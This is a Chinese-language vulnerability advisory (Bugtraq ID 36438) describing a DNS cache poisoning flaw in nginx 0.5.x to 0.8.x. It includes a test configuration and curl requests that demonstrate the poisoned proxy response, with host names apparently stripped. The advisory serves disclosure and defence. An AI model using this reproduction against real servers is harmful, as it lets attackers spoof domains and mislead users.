发布日期:2009-09-17
更新日期:2009-09-18
受影响系统:
Igor Sysoev nginx 0.8.x
Igor Sysoev nginx 0.7.x
Igor Sysoev nginx 0.6.x
Igor Sysoev nginx 0.5.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 36438
nginx是多平台的HTTP服务器和邮件代理服务器。
nginx对解析过的域名维护一个内部的DNS缓存,但在搜素缓存时,nginx仅检查名称的crc32是否匹配以及短名称是长名称的前缀,但没有检查名称的长度是否相等。如果nginx配置为代理缓存的话,远程攻击者就可以通过DNS投毒攻击欺骗域名,诱骗用户相信所访问的域名为合法。
<*来源:Matthew Dempsky
链接:?l=nginx&m=125314374727296&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
使用以下nginx.conf:
events {
worker_connections 1024;
}
http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass $http_host$request_uri;
}
}
}
然后运行curl验证缓存中毒:
$ curl -H 'Host: '
:8080/
<html>
<body>
Ho hum, nothing to see here, move along please.
</body>
</html>
$ curl -H 'Host: ' :8080/
<html>
<body>
Oops, you shouldn't be asking me for !
</body>
</html>
建议:
--------------------------------------------------------------------------------
厂商补丁:
Igor Sysoev
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: